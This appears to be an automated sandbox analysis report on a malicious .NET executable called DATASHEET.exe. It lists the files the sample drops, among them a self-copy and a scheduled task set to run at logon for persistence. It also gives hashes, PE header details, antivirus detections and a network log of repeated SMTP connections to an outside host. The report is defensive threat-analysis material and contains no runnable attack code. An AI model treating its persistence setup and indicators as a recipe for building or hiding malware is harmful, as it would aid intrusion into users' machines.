SHA-512:	FB173F980E666497B9AB18A605CBBC7BE2B23456ED39DF44591486A6610E1EDAD28DE5CB315263861F4558F2262A7168A0780C6EB65253362D15A43176679847
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0idfn5sd.sey.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ohgw5pf.2pt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_foo002tp.i5k.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qfghmcx1.3of.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5k3ypuk.01i.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmbm2xhz.loo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxrvomvr.trt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yonm3dkw.rzk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp

Download File

Process:	C:\Users\user\Desktop\DATASHEET.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.124772361783954
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaTxvn:cge1wYrFdOFzOzN33ODOiDdKrsuT4v
MD5:	09036EF3456D543CE31A56289324D9F3
SHA1:	7525338CEB3DC4235B451CDCD67A39EC53D00D78
SHA-256:	562F80F1234331053654C4B89A7E49356DBAD1373055AC39CEFB398F92F7A77F
SHA-512:	C3756AF8236B5BA57142E82E92F188CEFC54CA2A61EC705E050233032567B33FD252CF2B39C03501BB19895ECDCEC7B0511C167566DA8A87305C33CA69838A98
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.124772361783954
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaTxvn:cge1wYrFdOFzOzN33ODOiDdKrsuT4v
MD5:	09036EF3456D543CE31A56289324D9F3
SHA1:	7525338CEB3DC4235B451CDCD67A39EC53D00D78
SHA-256:	562F80F1234331053654C4B89A7E49356DBAD1373055AC39CEFB398F92F7A77F
SHA-512:	C3756AF8236B5BA57142E82E92F188CEFC54CA2A61EC705E050233032567B33FD252CF2B39C03501BB19895ECDCEC7B0511C167566DA8A87305C33CA69838A98
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

Download File

Process:	C:\Users\user\Desktop\DATASHEET.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	646144
Entropy (8bit):	7.969702317694796
Encrypted:	false
SSDEEP:	12288:f5AgFd918tPwTfYq1ZtoMxf5Cs814Aq/EamrnJuiu01x/pC9:hAg6wEMZtoMSs8DeEamlxxC
MD5:	8B627084E10AD9B77436A4C3D8EA5EBB
SHA1:	7DB5EE2AB5FDC91FA29A521F7F9779684F9E4ABD
SHA-256:	10F6D70D363D93FCE85E92F2EA94A36EDA4C755606581CD101652AFAA97A91FC
SHA-512:	45CCB2DE3D572D2244F4676322834DDF8BF003FF7E4955BF5510FF082AA42CD1B519C6B9EE43DBAD5EEF6AF96C6B5C6E8121E5CE0779AA4F1834BD1BBB57035F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0................. ........@.. .......................@............@.....................................O.......4.................... ..........p............................................ ............... ..H............text...0.... ...................... ..`.rsrc...4...........................@..@.reloc....... ......................@..B........................H.......p>...E..........x... R...........................................0..N........s....}.....s....}.....s....}.....r...p}.....r...p}......}.....(.......(........0..6..............,..{....r!..po.....+.......,..{....rY..po........0............{....r{..po......{.....o.....r...ps...........(....(.....+3..o........4...%..,.o.....s..........{......o.......o ..........-.....,..o!........+.............X...........0..n........s"......o#....+B..($........do%......F.........,...

C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DATASHEET.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.969702317694796
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	DATASHEET.exe
File size:	646'144 bytes
MD5:	8b627084e10ad9b77436a4c3d8ea5ebb
SHA1:	7db5ee2ab5fdc91fa29a521f7f9779684f9e4abd
SHA256:	10f6d70d363d93fce85e92f2ea94a36eda4c755606581cd101652afaa97a91fc
SHA512:	45ccb2de3d572d2244f4676322834ddf8bf003ff7e4955bf5510ff082aa42cd1b519c6b9ee43dbad5eef6af96c6b5c6e8121e5ce0779aa4f1834bd1bbb57035f
SSDEEP:	12288:f5AgFd918tPwTfYq1ZtoMxf5Cs814Aq/EamrnJuiu01x/pC9:hAg6wEMZtoMSs8DeEamlxxC
TLSH:	61D4231607A8BB61D8FEB374A02101AC533961906687F7FDCB4835CEBA1335256E5BF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.............*.... ........@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x49ee2a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xAF0C1E0E [Tue Jan 23 19:42:06 2063 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9edd8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa0000	0x634	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9d598	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9ce30	0x9d000	b7631219358bedd93b30795047933291	False	0.9783834469546179	data	7.976677778688236	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa0000	0x634	0x800	bf7fdd4a9986b5d76188db67cfd83e69	False	0.3388671875	data	3.475103353345361	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa2000	0xc	0x200	521661cee57067da55e1836aafd528fa	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa0090	0x3a4	data			0.41952789699570814
RT_MANIFEST	0xa0444	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 09:04:31.228642941 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:31.228702068 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:31.228763103 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:31.258532047 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:31.258575916 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.483295918 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.483374119 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:32.486423016 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:32.486447096 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.486807108 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.577867985 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:32.619333029 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.913362026 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.913424969 CET	443	49733	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:32.913486004 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:32.920281887 CET	49733	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:33.770957947 CET	49736	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:33.890481949 CET	587	49736	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:33.890628099 CET	49736	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:34.947654009 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:34.947702885 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:34.948476076 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:34.951406002 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:34.951419115 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:35.161896944 CET	587	49736	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:35.214493036 CET	49736	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:36.032977104 CET	49736	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:36.209990025 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:36.210226059 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:36.214756012 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:36.214767933 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:36.215046883 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:36.261200905 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:36.280864000 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:36.327323914 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:36.662652969 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:36.662719965 CET	443	49737	172.67.74.152	192.168.2.4
Nov 21, 2024 09:04:36.662794113 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:36.665747881 CET	49737	443	192.168.2.4	172.67.74.152
Nov 21, 2024 09:04:37.207448006 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:37.327136040 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:37.327228069 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:38.966546059 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:38.966829062 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:39.086397886 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:39.414102077 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:39.414535999 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:39.534615040 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:39.863493919 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:39.864068985 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:39.983706951 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.313905001 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.313954115 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.313967943 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.313980103 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.314013004 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:40.314054966 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:40.318181992 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:40.437818050 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.765794039 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:40.808156013 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:40.810499907 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:40.930006981 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:41.257498026 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:41.259820938 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:41.379426003 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:41.707094908 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:41.707516909 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:41.827234983 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:42.186959028 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:42.187335014 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:42.307045937 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:42.653851032 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:42.654104948 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:42.773775101 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.198847055 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.199310064 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:43.319946051 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.647963047 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.648607016 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:43.648708105 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:43.648730040 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:43.648752928 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:04:43.768367052 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.768378019 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.768384933 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:43.768394947 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:44.749074936 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:04:44.792498112 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:05:59.748908997 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:05:59.749008894 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:01.057744026 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:01.058990955 CET	49738	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:01.177285910 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:01.178436995 CET	587	49738	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:01.287329912 CET	49837	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:01.406997919 CET	587	49837	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:01.407092094 CET	49837	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:02.661633015 CET	587	49837	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:02.661860943 CET	49837	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:06:02.781572104 CET	587	49837	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:03.106633902 CET	587	49837	77.88.21.158	192.168.2.4
Nov 21, 2024 09:06:03.106847048 CET	49837	587	192.168.2.4	77.88.21.158
